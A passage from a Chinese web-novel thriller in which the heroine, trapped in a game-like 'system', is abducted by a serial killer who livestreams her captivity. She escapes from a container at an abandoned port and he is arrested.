自从那天他和唐凤仪从警局离开之后,祝好就没有再见过他。
长舒一口气的同时,她又不免有些疑惑:“唐宋,你怎么会在这儿?”
唐宋打开手电筒替她照亮前面的路,笑道:“刚才电视台接到热心市民的电话,说这附近有工地施工把电缆给挖断了,造成大面积的停电,就派我和几个同事过来拍点素材。”
祝好恍然大悟地哦了一声,难怪这一带都黑黢黢的。
她扭头看了看四周,却没见到其他人的身影:“那你的同事们呢?”
唐宋说:“在采访工地的负责人呢,我来便利店给他们买点水,正好看到你拐进巷子里,就过来跟你打个招呼。”说着提了提手里印着便利店logo的塑料袋。
四下一片黑沉沉的环境让祝好很没有安全感,她刚想结束寒暄,唐宋又突然问道:“对了,我听说那个连环杀手已经找到了,是吗?”
这几天指甲油杀手落网的新闻几乎席卷了各大报纸和新闻的头条,淮江市街头巷尾都在议论纷纷,唐宋在电视台工作,应该早就知道这件事了。祝好想不明白他这是明知故问还是没话找话,只好潦草地点了点头:“对。”
唐宋长长地叹了口气。
从怀疑自己的父亲是臭名昭著的连环杀手,再到通过警方之口确认了这个事实,最后又知道其实自己并非他的亲生儿子——这么荒谬的事情不论发生在谁身上,一定都很难接受吧。
祝好想说些什么,却又不知道说点什么好。
虽然警方基本排除了他的嫌疑,但他毕竟跟顾远乔共同生活了几十年,祝好实在不想跟他有太多接触。
气氛一时有些尴尬,最后还是唐宋开口打破了沉默,从袋子里拿出一瓶水递给祝好:“你家在哪儿,这里太黑了,要不我送你
回去吧。”
祝好接过水却没有喝,一直谨记着程述的叮嘱——“别喝不是当着你的面拧开的水,不管对方是什么人”。
她礼貌地道了声谢:“不用,你去忙吧,我自己回去就行。”
唐宋愣了一下,点点头:“那好,我先走了,你当心点。”
直到他转身离开,身影消失在巷口,祝好才松了口气,加快步伐往家的方向走去,顺手拧开矿泉水的瓶盖把水都倒掉了。
黑暗像是从四面八方挤压过来,浸透了每一寸空间,明明是走过无数次的路,却因为浓厚而纯粹的黑而变得有些陌生。
祝好用手机的手电筒照亮脚下的路,顺手摁下了跟程述的视频通话。
程述很快接起视频,皱了皱眉:“你在哪儿,怎么那么黑?”
听到他的声音,祝好觉得安心不少:“附近的工地施工时把电缆给挖断了,不知道什么时候才能修好,不过我马上就到家了。”
离家还有一段距离,祝好没话找话跟他闲聊起来:“对了,我刚才遇到唐宋了。”
“唐宋?”
“嗯。”祝好下意识回头看了一眼,确认并没有人跟在自己身后,才压低声音说道:“不知道为什么,我现在看到他还是觉得瘆得慌,你说我这样算不算是偏见?明明案子都已经结束了……”
她突然顿住了,视频那头的程述等了好一会,没见她说话,问道:“怎么了?”
祝好喉头发紧:“不对,案子还没有结束。”
程述猛地从床上坐起来,似乎是不小心扯到了伤口,短促地吸了口气,连忙问:“你说什么?”
“程述,系统没有出现提示,这段剧情还没有结束。”
祝好思绪有些混乱,虽然随着涂焕新陷入昏迷,很多疑问都无法得到答案,可从警方掌握的证据来看他就是二代指甲油杀手无疑,这个剧情为什么会没有结束?
他们究竟遗漏了什么?
手机里传出程述紧绷的声音:“你赶紧回家把门反锁好,我现在马上回去。”
祝好还没来得及应声,就感觉到后颈的汗毛根根竖了起来,一股凉意顺着脊柱迅速爬上颅顶,头皮也瞬间炸开——这大概是人类感知到有危险靠近时最本能的直觉。
——砰!
是什么东西在耳边碎裂的声音,紧接着一阵剧痛从后脑向全身辐射,眼前炸开了一片金星。时间仿佛被无限拉长,模糊的视线中,微弱的亮光朝她迎面扑来——那是她掉落在地上的手机。
她整个人重重砸在粗粝的水泥地上,很快从一片黑暗跌入另一片黑暗中。
……
……
祝好缓缓掀开沉重的眼皮,随即被刺眼的灯光晃得一阵眩晕。
后脑的钝痛如潮水般一波又一波漫上来,她下意识想要抬手去触碰后脑,却发现自己正坐在一张椅子上,双手被牢牢固定在身后,根本无法动弹。
等待视线逐渐适应强烈的光线,她才吃力地转动脑袋打量着深处的环境。
她似乎身处一个狭长的空间,天花板悬挂着一盏昏暗的白炽灯,灯光的范围很小,光线几乎集中在她身上,其余的一切都隐匿在黑暗之中。面前有什么东西一闪一闪亮着红色的光,仿佛一只眼睛在暗处窥视着她。
这是什么地方?
记忆逐渐回笼,她的脑海中浮现出一些零散的片段:医院、出租车、停电……紧接着她就突然被什么东西砸到了后脑,随后就失去了意识。
中间究竟发生了什么,她已经完全没有印象了,不过现在的感觉让她十分熟悉——差点被许安宁杀死那回,以及和温珣一起被绑架那回,她都有过类似的经历。
算上这回,应该是第三回了。
虽然有些不合时宜,但她还是默默叹了口气,想吐槽这个破系统为什么每回都要针对她。
“你醒了?”
她循着声音望去,黑暗中有个人影缓缓靠近,当他的脸暴露在惨白的灯光下时,祝好看清了那张脸上的胎记。
“唐宋?”她一开口,才发觉自己嗓子干哑得难受。
“伤口还疼吗?”
唐宋的语气毫无波澜,他手里端着一个水盆,在祝好面前缓缓蹲下,从水盆里捞出一张毛巾拧开,要帮祝好擦拭后脑上的伤口。
祝好下意识偏头躲开,把脸扭到一旁,不愿让他触碰自己。唐宋的手僵滞在半空,没有坚持,又把毛巾放回水盆里,幽幽叹了口气:“如果你喝下了那瓶水,我就没必要用砖头砸你了。”
祝好问他:“你想干什么?”
唐宋没有答话,把手放在裤腿上擦了擦,从口袋里掏出一台手机划拉几下,架在祝好面前:“来跟大家打个招呼吧。”
大家?
祝好定睛一看,发现屏幕上竟然出现了她和唐宋的身影,那是一个直播画面,右上角的观看人数虽然只有四位数,但还在不断攀升,下方的弹幕也在快速滚动着。
她心一提:“是你。”
“没错,是我,很意外吗?”唐宋往前走了几步,把一台用三脚架架着的摄像机从黑暗中挪出来摆在祝好面前,又看了手机一眼:“观看人数越来越多了呢。”
祝好没理会他,闭上眼睛,梳理自己纷乱的思绪。
涂焕新杀人的证据确凿,让警方误以为他就是指甲油杀手——没错,他的确是指甲油杀手,但只是其中一个。
而另一个,就是唐宋。
她之前一直想不明白,涂焕新为什么会知道顾远乔是自己的生父,又是如何在他去世后还能找到那间连警方都找不到的地下室——或许在某种机缘巧合之下,唐宋意外得知了涂焕新的身份,于是想办法接近他,并把真相向他全盘托出。
跟顾远乔一样,在涂焕新的童年生活中,“父亲”这个角色一直处于缺席状态,而每次他向母亲问起关于父亲的事时,母亲总会支支吾吾带过。
在这样的环境下成长,本就会激起他寻找自我认同的欲望,在知晓自己的生父竟是个连环杀手后,他就更希望自己能变得跟他一样,甚至是超越他——在受害者的后颈处刻上代表“二”的那两条竖线,就是为了证明自己的优越性。
同样想要证明自己、获得大众关注的,除了他之外,还有唐宋。
论体力和武力,唐宋并不如涂焕新,可他却比涂焕新聪明许多,前两起谋杀多半都是他策划的,而涂焕新只负责实施,所以并没有留下任何线索。
可涂焕新显然不满足于此,他不想只成为背唐宋操纵的人偶,他也想要靠自己成为像顾远乔那样的人。
祝好强迫自己镇定下来,死死盯着唐宋,一字一顿地问他:“看到涂焕新的名字和照片出现在电视上,还能跟顾远乔相提并论,你是不是愤怒极了?所以你绑架我,策划了这场直播,就是为了引起更大的舆论,让更多人关注你吗?”
唐宋冷笑一声,语气里带着不加掩饰的愤懑和轻蔑:“他只不过是个初中文化的小混混,除了一身蛮力什么都没有。如果不是我,他能那么顺利地把那两个女人杀死吗?这些都是我为他策划好的!明明是我的功劳,凭什么出名的是他?他居然敢说自己就是指甲油杀手,真是可笑极了,没有我,他什么也不是!”
祝好抬头看了看摄像机,从刚刚手机上看到的直播画面来看,摄像机拍到的范围十分有限,甚至看不清背景,这样一来,警方想要通过直播找到她的可能性微乎其微。
她转向唐宋,问道:“所以你打算在直播里把我杀死吗?”
“不不不,只是这样多没意思。”唐宋站起身走到摄像机前,理了理衣服的下摆,说道:“程大侦探,你现在应该也在看直播吧?游戏已经开始了,这个新玩法你还满意吗?”
第212章
说着,唐宋又回到祝好身旁,捏着她的下巴,把她的脸转向摄像机:“我没骗你吧,她现在还是好好的,不过如果你不能在规定的时间内找到我,我可没办法保证会发生什么。”
短短几句话,祝好就大概猜出了唐宋的意图。
从在程霜的墓碑前摆放那束勿忘我开始,他就明摆着是冲着程述来的,不为别的,只因为程述是当年唯一一个激怒顾远乔,让他在作案时露出破绽的人。
连续杀害多名女性后,单纯的杀戮已经不能再让顾远乔感到兴奋了,程述的出现让他再次找回了最初的刺激,他把程述当成了对手,并杀害了程霜向他示威,然而不久后他就患上了白血病,跟程述的“博弈”也只能就此中止。
现在的唐宋不仅继承了顾远乔“指甲油杀手”的名号,也把“打败”程述当成了毕生目标。
对祝好来说,唐宋或许就是她在游戏中历经重重困难查出真相后要打倒的最终boss。但唐宋不知道的是,他的对手其实并不是程述,而是祝好。
祝好没办法确定自己所处的这个狭长的空间是什么地方,但从唐宋并没有封住她的嘴这一点来看,周围一定是荒无人烟,因此他不用担心祝好大喊大叫会引起其他人的注意。
至于程述那边,他在得知祝好被唐宋带走后,一定会第一时间通知秦聿风,调动一切人力寻找他们的踪迹。然而就算唐宋开着直播,透露出来的线索却少之又少,连祝好都没办法判断自己身在何处,更别说程述了。
她必须先想办法逃脱。
面对像唐
宋和顾远乔这样对权力和满足感有着扭曲欲望的人,恐惧和害怕只会让他们感到更加兴奋。
她调整好呼吸,尽力让自己平静下来。
或许是觉得她没办法在自己眼皮下逃脱,所以唐宋只绑住了她的双手,想要离开,首先要解开手上的绳子。
祝好点开商城,翻动着页面:太阳镜、限量唱片、耳机、手链……有了,剃须刀!
点击兑换后,她手里很快出现一把手动剃须刀。
她转动手柄,找到合适的角度,用刀头一点一点刮蹭手腕上的绳子。
这个密封的空间内只有她和唐宋两个人,一旦没人开口说话,周围就十分安静。为了不让唐宋察觉到端倪,她必须分散他的注意力。
她没话找话问道:“如果程述没有在规定的时间内找到我,你会怎么做?”
唐宋摸了摸下巴,一脸为难:“我准备了好多好多工具,有绳子、匕首、硫酸、榔头,但还没想好要用哪一种。不如这样,如果程大侦探找不到你,我就一样一样尝试,让直播间里的各位跟我共同见证。”
祝好的额头上渗出细密的汗珠,她相信唐宋这些话一定不只是随便说说,他既然想要超越涂焕新甚至是顾远乔,就一定会做更出格的事情,只有这样才能引发更多的舆论关注。
她隐晦地咽了口唾沫,问道:“现在直播间里的观看人数有多少了?”
这句话似乎提醒了唐宋,他从口袋里拿出手机看了一眼。不知是不是直播间里迅速攀升的观看人数让他心情大好,他脸上竟然露出了笑容,在惨白的灯光下显得格外诡谲。
麻绳比想象中坚韧许多,反手拿着剃须刀操作起来也并不简单,祝好有好几次不小心划伤了自己的皮肤,手上的动作却一刻不停。
她继续找话题:“在西临市那回你来救我们,是早就计划好的吗?”
唐宋勾起一侧嘴角,轻笑一声:“看来大侦探一时半会也没法找到我们,不过离约定的时间也还有一段距离,既然你想知道,那我就勉强和你聊聊吧。“”如果我说在西临市发生的一切都是老天在帮我,你信吗?”
祝好引导他继续说下去:“老天怎么帮你?”
唐宋靠在墙上,缓缓开口:“其实我刚开始和涂焕新合作的时候,就在西临市杀了一个陪酒小姐当作练手,可别说上新闻了,西临市那帮废物警察居然连调查都不调查就草草结案,简直是浪费我的心血。”
一条人命在他眼里,居然只是“练手”。
祝好此时也恍然大悟,原来夏嫣并不是他们的第一位受害者,难怪他们能如此干净利落地将她带走,并且完全没有在现场留下任何痕迹。
“你们杀人是为了出名,可西临市警方的敷衍了事让你们无法如愿。你想要扳倒他们,所以才混进分享会寻找证据?”
唐宋语气讥诮:“那是当然了,不然你觉得我会无聊到去管这种闲事吗?林洋带领的那群废物太让我失望了,我想要的是更强劲的、能跟我抗衡的对手!当时我正好接到了周逸的举报电话,如果警局和分享会私底下勾当的事情属实,林洋就一定会被撤掉,结果你猜怎么着——”
说到这儿,他突然难以自抑地笑出声:“结果你猜怎么着,我居然在西临市见到了那位秦警官。我认出他是当年参与我爸爸那个案子的警察,而且还跟程述的关系很好。本来我想让周逸把证据交给我,没想到那小子居然不肯,我只好让他先把证据交给秦聿风。”
祝好说:“然后你把这件事告诉了启源老师,你知道启源老师一定会派人杀害周逸,你就能趁机将证据拿走。”
周逸当时那么信任唐宋,不曾想唐宋只把他当成一枚用完即弃的棋子。他临死时指着左脸的那个动作,正是在告诉秦聿风拿走证据的人就是脸上有胎记的唐宋。
唐宋脸上露出了得意的笑:“没错,如果秦聿风出事,程述就一定会来调查,我就能借机接近你们,并把证据交到你们手里,获取你们的信任。你说这难道不是老天在眷顾我吗?”
他哼笑一声,继续道:“当然了,救你们也是计划中的一环。我怎么可能让我的对手落在别人手里,这样我策划的一切还有什么乐趣呢?”
说到这里,他拿出手机看了一眼,说道:“哎呀,还剩下半个小时了,让直播间里的观众一直听我们聊天是不是也挺无聊的,要不我们找点别的乐子吧?对了,我差点忘记了,还没给你涂上指甲油呢。”
如果他要给祝好涂上指甲油,那势必会发现她手上的绳子已经被割开了。祝好心猛地一沉,不动声色地加快了手上的动作。
唐宋把手机收回口袋里,叹了口气,幽幽地说道:“其实你还挺聪明的,可惜是个女人,不然我会考虑让你成为我的对手。”
绳子马上就要全部割断了,祝好沉住气,问道:“怎么,你很看不起女人吗?”
唐宋的表情突然凝滞住,虽然只是短短一瞬,但还是被祝好尽收眼底——她知道自己猜对了。
她微不可察地勾起嘴角,慢条斯理说道:“让我猜猜原因吧,你上学的时候曾经跟某位女性表白过,可却被她拒绝了,很有可能她还把这件事当成一个笑话讲给身边的人听,让他们一起嘲笑你。所以你憎恨女性,觉得她们不配受到你的尊重,对吗?”
唐宋又是一愣,没有应声,下颌明显绷紧了。
祝好继续拖延时间:“其实你只不过没办法接受自己的平庸,所以将一切都归罪于女性。你杀死她们也不单只是想要模仿顾远乔,而是你发现她们苦苦哀求的样子会让你感到十分兴奋,以此来满足你变态的掌控欲。”
唐宋嘴角不甚明显地抽了抽,冰冷的目光仿佛一把铡刀:“对,你说得没错,他们凭什么嘲笑我、看不起我,把我当成一个笑话。不过今天过后,一切都会变得不一样,我要让所有人都知道,我才不是他们眼中那个没用的人!”
祝好的手腕一松,绳子终于被割断了,但她仍保持着双手背在身后的动作,并再次打开系统商城,寻找一件可以当做武器反击的物品。
再三挑选后,她用积分兑换了一支钢笔。
唐宋站在摄像机旁,离她有一两米的距离,如果她现在站起来,唐宋一定会有所察觉,并在她行动之前做出反应。
思忖片刻,祝好决定想办法让他主动上前。
她微微抬起下巴,轻蔑地冷笑了一声:“你以为杀害几个手无寸铁的女性就能证明自己有多强大吗?嘲笑你的人之中,难道就没有男性吗?还是说,你只敢对比你弱的人下手,却不敢反抗那些比你强的人?”
这一连串问题让唐宋目光一沉,眼底泛起暗涌的愤怒:“你说什么?”
祝好故意拖长声调,嗤笑道:“你嘴上说着这是一个游戏,但这个游戏真的公平吗?你从始至终没有透露任何线索,是因为你压根儿没想过让程述找到这里吧?”
“你看不起涂焕新,但我倒觉得他比你勇敢多了,至少他能跟程述打得有来有回。而你只会利用我来威胁程述,我相信如果程述现在就站在你面前,你也根本不敢跟他正面对抗。承认吧,你其实就是个懦夫!”
不出所料,唐宋仿佛受到了极大的侮辱,快步走到她面前抬手掐住她的脖子,眼睛里迸射出火光,五官也因为愤怒扭成了一团:“你、你只是个女人,你没资格跟我说这种话!你的命在我手里,只要我想,你现在马上就会——”
就是现在!祝好目光一凛,将手中的钢笔狠狠刺向唐宋的肩膀。
突如其来的剧痛让他下意识松开手后撤两步,浑身剧烈颤抖,不敢置信地低头看着肩膀上露在外面的半截钢笔。
第213章
趁他还没有反应过来,祝好又挥拳狠狠砸向他的鼻梁,这一拳她几乎用尽全身力气,以至于手指关节都泛红了,但她没空理会这微不足道的疼痛,紧接着又抬脚朝唐宋的裆部用力踹了
一脚。
趁对方不备时出其不意进行攻击,瞄准人体最脆弱的部位——这是程述之前教她的防身术,没想到居然真的派上了用场。
接二连三的疼痛让唐宋控制不住倒在地上,他的鼻梁似乎骨折了,半张脸都被鼻血染红,一只手捂着脸,一只手捂着**撕心裂肺地嚎叫着,一枚钥匙“哐当”从他口袋里滑落,掉到地上。
他翻滚的动作一滞,紧紧咬着牙,把一只手伸向钥匙。祝好忽有所感:能让他强忍着痛苦去捡的东西一定非常重要,很有可能就是离开这里的关键。
她抢先一步用鞋底踩住钥匙,滑向远处,顺势又往他没有护住的**来了一脚,唐宋再一次凄厉地惨叫起来。
祝好很想揪住他的领子朝他脸上吐一口唾沫,不过她忍住了,现在还不是最合适做这件事的时候——唐宋的身体素质虽然不算特别强悍,但男女力量总归有差距,只要等疼痛缓解,他一定会起身反击。
她弯腰从地上捞起钥匙,拔腿往这个狭长空间的另一端奔去,直到被一面粗糙冰凉的金属门挡住了去路。
白炽灯的灯光照不到这个范围,祝好胡乱摸索着,终于在门上摸到了一把锁。
身后传来了跌跌撞撞的脚步声,祝好不敢浪费任何一秒钟,果断把钥匙插进锁眼里一拧,随着“咔哒”一声,门锁被打开了。
还没来得及高兴,后背莫名升腾起一股刺麻感,她下意识一偏头,“当”的一声刺响,冰凉的刀刃贴着她的耳廓而过,在金属门上擦出一串火星。
祝好的后背近乎要被冷汗浸湿,来不及多想,她用尽力气将沉重的金属门推开一条缝,冲出门外,闪身钻进一道漆黑的缝隙中。
厚重的乌云遮蔽了月光,好在眼睛终于适应了黑暗,她也能勉强看清周遭的环境。
两侧都是高耸的金属墙,手指轻触墙面,带回一手的铁锈味。抬头望去,原来这些金属墙是垒起来的巨大集装箱,如同一只只蛰伏的巨兽虎视眈眈地回望着她,除了远处海浪拍打堤岸的声响和不知从哪里传出的虫鸣,周围几乎一片死寂。
她立刻反应过来这里是个港口的集装箱码头,刚才唐宋囚禁自己的地方应该就是某个经过改装的集装箱。
放眼望去,成千上万的集装箱层层叠叠、纵横交错,把空旷的码头变成了一座巨大的迷宫。
唐宋似乎正在四处搜寻她的身影,他已经从疼痛中缓过神了,脚步声也不再踉跄:“你说得没错,我从来没想过要让程述和警察找到这里,我就是要让他们眼睁睁地看着你被我杀死。”
祝好后背紧贴着冰冷的箱体,屏住了呼吸,凝神思索起来。
她的手机早就不在身上了,不知道是掉在半路还是被唐宋拿走了,现在能向外界传递自己位置的唯一方法就是直播。
她必须想办法回到集装箱里。
环视四周,她突然看到角落里有一张旧渔网
唐宋拿着手电筒在四周扫荡,光束在锈迹斑斑的集装箱上来回晃动。突然,一阵细微声响从两个集装箱之间的缝隙中传出,他立刻顿住脚步凝神静听。
很好,他没听错,的确有动静,窸窸窣窣的,像是仓皇躲藏的猎物。
他扯了扯嘴角,关掉手电筒,放缓脚步,一点一点靠近。
待他走到拐角处时,先是悄悄探头看了一眼,果然发现角落里有一团黑影,声响正是从那里发出来的。
他举起手里的弹簧刀,一个箭步猛地上前,疯了一般朝那团黑影一通乱刺,想要将刚才积累的怨气全部发泄出来——那个小婊子看不起他就算了,居然还当着直播间那么多观众的面狠狠揍了他一顿,这个仇他一定要报……
连刺几刀后,他的手停滞在半空——不对,有哪里不太对。虽然他没有亲手杀过人,但直觉告诉他,刀子捅进人的身体里不应该是这样的触感。
更何况,普通人连续挨了那么多刀后不死也残,但那声响却还在继续。
他头皮发麻,赶紧从口袋里摸出手电筒一照,才发现刚才被自己扎了无数刀的那个东西居然是一团渔网。拨开那团渔网,下面是一只精美的小音箱,窸窸窣窣的声响正是由它发出的。
音箱?这里怎么会有这种东西?
忽然,唐宋的思绪被不远处传来的金属撞击声打断,他心道不妙,拔腿往自己改造过的那个集装箱跑去,发现方才还敞开的金属门此刻已经牢牢关上。
可恶!
他疯了一般用拳头砸门,那扇门却纹丝不动,他心里怒骂了一句粗口,突然意识到什么,赶紧拿出手机打开直播间的画面,果然在屏幕上看到了祝好的脸。
*
趁着唐宋被小音箱的动静所吸引,祝好迅速绕开他,按照记忆里的方向回到了刚才的集装箱,并把门锁上了。
她背靠着门大口喘着粗气,因为过度紧张,牙齿也在不停打颤。
摄像机的红光还在闪烁,说明直播还在进行。
她深吸一口气,把镜头转向自己,尽量把声线调整得平稳一些:“是我,我是祝好,我现在暂时安全,只有头部受伤了……”
“砰砰砰——”
剧烈的砸门声让她呼吸一滞,她强迫自己冷静下来,加快了语速:“我所在的地方是一个集装箱码头,这里没有灯光,也没有工人,大多数集装箱已经生锈了,所以我猜这里是一个荒废的港口,我现在就在其中一个集装箱里。”
集装箱码头面积很大,几乎等同于两百多个足球场,想要让警方第一时间掌握她的具体位置,就必须描述得更清晰一些。
砸门声不知什么时候停了下来,集装箱里异常安静,安静到她甚至能听见自己不安的心跳。
唐宋离开了吗?他去了哪里?还是准备要干些什么?
祝好没功夫理会这诸多疑问,定了定神,打开剧情回顾,描述着自己刚才看到的一切:“我能听到海浪的声音离我不远,这个集装箱是蓝色的,位置应该比较靠近海边,左边大概两百米远的地方有几个巨大的吊塔……” :
门外突然传来一阵轮胎摩擦地面的声音,似乎是有车经过。
难道是警方看到直播,立刻锁定了她的位置吗?会不会太快了些。
祝好的心脏怦怦直跳,但她没有放松警惕,从地上捡起刚才插进唐宋肩膀的那支钢笔缓缓靠近门边,把耳朵贴在金属门上。
的确是汽车的声音,可是这声音不太对劲,因为它的速度实在太快了,快到就好像要——
“咚!!”
祝好还没理清思绪,一声巨响就在耳边炸开,集装箱剧烈地震动了一下。她站立不稳,踉跄着后退几步,跌坐在地上。
她很快意识到门外的不是警察,而是唐宋。极度的愤怒几乎让他失去了理智,他要开车把门撞开!
经过一次撞击,金属门已经有些变形了,车头大灯的白光从门缝中灌进来。
祝好刚要扶着墙站起来,车头和金属碰撞发出的巨响又一次响起,随着集装箱的摇晃,她的后脑勺重重磕在地上,眼前一阵眩晕。
金属门硬生生被撕扯开一条裂缝,原本坚固的门框也开始松动了。
引擎声再次后退,唐宋没有善罢甘休,铁了心要用车把门撞开。
祝好顾不得后脑勺二次撞击带来的疼痛,起身跑向集装箱最深处,把自己的身体尽量缩在内壁之间的夹角中——这样一来,就算门真的被撞开,车子冲进来,她也还能有一丝活命的机会。
她靠在角落里死死盯着变形的金属门,浑身发颤,手心也被汗水濡湿。
轮胎摩擦水泥地发出的焦味顺着门缝涌进来,引擎声如同野兽的嘶吼,迅速而猛烈地靠近!
随着“轰”的一声巨响,门被撞开了,刺眼的车灯倾泻而入,越野车裹挟着热浪直直冲进集装箱里。
祝好蜷缩在角落,大脑一片空白,只感觉耳边尽是凌乱的撞击声,紧接着有无数金属碎片划过护着脑袋的双臂。
等待一切归于平静,她缓缓抬头,只见集装箱内一片狼藉,唐宋那辆越野车的车头也早已支离破碎,挡风玻璃碎成了蛛网状,浮动的灰尘在车灯的光柱里挣扎着。
祝好小心翼翼地扶着车头起身,透过玻璃看向车里,发现安全气囊摊开在方向盘上,唐宋歪着脑袋倒在驾驶座,似乎是被强烈的撞击震晕了。
活该!自作自受!
她踩着散落在地上的金属碎片,却感觉到小腿迎面骨传来一阵剧痛,低头一看,牛仔裤的裤腿不知什么时候被割开了一个口子,里面皮开肉绽,正汩汩往外冒血。
她咬着牙,扶着墙一步一顿走出了集装箱,忽然听到头顶传来一阵嗡嗡声,抬头一看,一辆无人机在半空中跟她对视了一眼,又飞快地消失了。
祝好:……
不知是不是失血过多,她的脑袋有些沉重,甚至怀疑刚才看到的一幕是幻觉。
刚要点开控制面板再兑换一些体力,就看到几辆闪烁着红蓝警灯的警车划破夜幕呼啸而至。
这也是幻觉吗?
她呆呆地看着车在她面前停下,其中一辆车的车门“砰”地打开,一个熟悉的身影从里面跳出来,几乎是飞一般冲到她面前:“祝好!”
是程述。
程述双眼布满红血丝,转头朝身后的警车吼道 :“救护车!快叫救护车进来!”
祝好摇摇头示意他不要紧张:“我没事。”
比起死里逃生,这点小伤算得了什么。
她的目光越过程述的肩头,看到越来越多的警车鱼贯而来,穿着防弹衣的警员们纷纷从车上下来,其中就有秦聿风。
秦聿风神情复杂地看了他们一眼,又飞快将眼神移开,指挥警员团团包围住了还在不断往外冒烟的集装箱。
唐宋刚从撞击中清醒过来,就发现自己被几把黑洞洞的枪口指着脑袋,他又一次闭上眼睛,颓然地倒在了座位上。
祝好耳边响起了系统的提示音:“恭喜您完成所有剧情任务!”
一切终于尘埃落定。
救护车很快赶来,随行的医生简单为祝好清理了伤口,但有的伤口太深,还是要去医院进行包扎处理。
祝好刚要坐上救护车,突然想到什么,扯了扯程述的袖子:“等等,我还有一件事情要做。”
程述顺着她的视线看到了即将被押上警车的唐宋,了然地点点头:“去吧。”
唐宋看着走向自己的祝好,眼神中透露着狠戾和不甘:“你还想干什么?”
祝好毫不畏惧地迎上他的目光,语气淡淡:“没什么,只是想问问你,被你看不起的女人打败的滋味如何?”
第214章
唐宋被捕后,很快交代了自己的犯罪事实。
察觉到自己时日无多,顾远乔便把自己是指甲油杀手的事情告诉了唐宋——虽然他对这个不是亲生的儿子没什么感情,但更不想把自己的“功勋”带进坟墓里。
唐宋得知顾远乔的真实身份后只是有些震惊,却没有感到害怕,更没想过报警。在顾远乔去世之后,他从遗物中拿到了那间地下室的钥匙,找到了顾远乔的杀人日记,生出了想要继承“指甲油杀手”这个名号的念头。
然而他身体羸弱,独自杀人风险太大,于是找到了在街头当小混混的涂焕新,并把一切都告诉了他。
母亲刚去世、父亲身分不明,唐宋正巧出现于涂焕新人生中最迷茫的阶段,两人一拍即合,当即决定要合作杀人。
唐宋智商很高,又对计算机和网络十分擅长,所以由他负责策划所有行动,以‘NPK’的名义发布的那一系列帖子也是出自他手。
他先是在网络上搜索后筛选出长相和气质都符合条件的女孩,偷偷观察她们的一举一动,等到摸清她们的生活习惯和行程后,再定好作案时间和方案,由身强力壮的涂焕新动手将人带走、杀死并抛尸。
由于长相毫不起眼,所以大部分受害者都不会对唐宋设防,所以他多次去夏嫣工作的餐厅用餐,又在严雪儿家附近跟她一起喂流浪猫,都没有引起她们以及她们身边的人的怀疑和提防。
其实在唐宋和涂焕新的规划中,他们本就打算共同完成一起轰动整个淮江市的直播杀人案,祝好也是他们选定的最后一个受害者。可偏偏在最后关头两人起了内讧,涂焕新看不惯唐宋每次都是坐在家里指挥,不用出一点力气,自己却要承担最大的风险。思来想去,他决定单独杀一个人来证明自己的实力,没想到却留下了诸多破绽,以至于最终被抓捕归案。
也正因如此,失去搭档的唐宋才不得已一个人行动,完成这场最后的游戏。
这世间或许从来就没有真正的漏网之鱼,只有正在收拢的恢恢天网。随着真相大白,涂焕新和唐宋陆续被捉拿归案,这起横跨二十多年的“指甲油杀手”案才终于落下帷幕。
午后的阳光静静地流淌进医院病房,给白色的床单镀上一层暖金色的光晕。祝好正百无聊赖地躺在床上靠手机里白眼狼的视频打发时间,突然听到门口传来一阵敲门声。
这几天温珣、李砚川和秦聿风都来看过她好几回。
温珣是受她所托给她带了一些祛疤膏——除了后脑勺和腿上的伤之外,她身上还有数不清的细小伤口。上回住院时,温珣给她带的那些整形医院专用药膏的祛疤效果很好,所以这回她也请温珣帮她带了一些。
除了祛疤膏之外,温珣还带来了一大束鲜花,程述对此十分不满,但在祝好的眼神施压下硬生生忍住了,只在他离开之后抱怨了一句:“还医生呢,不知道看望病人最好别送鲜花吗,万一你花粉过敏怎么办?”
祝好无奈:“他是个法医,再说了,我也没有花粉过敏。”
李砚川则是不出所料带来了一大堆价格不菲的名贵补品,看着满身是伤的祝好,心疼得眼圈泛红,完全没注意到程述在一旁白眼都快翻到天花板上了。
李砚川告诉祝好,那天是酒吧里的伙计把这件事告诉他的,他当时急得不行,立刻在唐宋的直播里发布了一条评论:只要有人能给警方提供有效的线索,就把酒吧一半的分红送给对方。
祝好:……
也不知这倒霉孩子是缺根筋还是太大方了,幸亏最后是祝好自己在直播里向警方提供了位置,否则又要欠李砚川一个大人情。
秦聿风这段时间忙得不行,但还是抽空提着一些水果来医院探望了祝好一回。
也不知是不是错觉,祝好觉得他看自己的眼神里似乎带着一丝不太明显的失落。
在他离开时,祝好叫住他:“对了,秦聿风,我有个问题想问你。”
“怎么了?”
犹豫片刻,祝好还是问出口:“你怀疑过我的身份吗?”
就算在系统的底层核心设定中,他作为可攻略对象会对祝好有天然的好感,可他同时也是一名经验丰富的刑警,对于突然出现又身份不明的她,难道就没有过任何怀疑吗?
秦聿风似乎没想到她会这么问,肉眼可见地愣了一下,并没有正面回答她的问题:“我们在那个集装箱里找到了你用来割断绳子的剃须刀和捅伤唐宋的那支钢笔,还有一个小音箱。根据唐宋交代,那些东西不是他的,也根本不可能出现在那里。”
祝好目光颤了颤,正想着要怎么跟他解释,秦聿风却没再继续这个话题,只是抿嘴笑了笑,说了句“好好休息”就转身离开了。
她
收回思绪,看向门口的方向:这回来的会是谁?
病房的门被推开一条缝,一个画着浓妆、打扮得五彩斑斓的女孩探头进来左右看了看:“请问祝好住在这里吗?”
祝好茫然地看着那张陌生的面孔:“……你是?”
“祝好,真的是你!”女孩眼里闪烁着一抹藏不住的兴奋,闪身钻进病房里,高举着手里的自拍杆,对着镜头比了个耶:“家人们,这就是在直播中反杀连环杀手的祝好,是我们女人的骄傲……哇,谢谢宝子的梦幻城堡,爱你爱你,比心~”
说着十分自来熟地凑到祝好身边跟她脸贴着脸:“来,祝好,我们一起比个心~”
祝好:……
唐宋策划的那场直播原本是为了让自己出名,结果不仅被祝好在镜头前暴揍一顿,还阴差阳错让她“一战成名”。
那场直播过后,祝好的名字已经在热搜上挂了好几天,想要采访她的记者数不胜数,但无一例外还没踏进病房半步就被程述给轰走了,也不知道今天这个女孩是怎么进来的。
祝好无奈地叹了口气,低头看了一眼手机屏幕上的时间,好心提醒女孩:“你赶紧走吧。”
女孩还在不停地对着镜头喋喋不休,对她的话置若罔闻,嘴里嘟囔道:“我好不容易才想办法混进你的病房,怎么能那么快就走?来嘛,我们一起跟直播间的家人们打个招呼。”
祝好刚想跟她说“再不走就来不及了”,就听到门外传来一阵熟悉的脚步声,于是把话咽了回去:反正也已经来不及了。
少顷,程述提着一袋新鲜的草莓和一个保温壶推开门走进来。
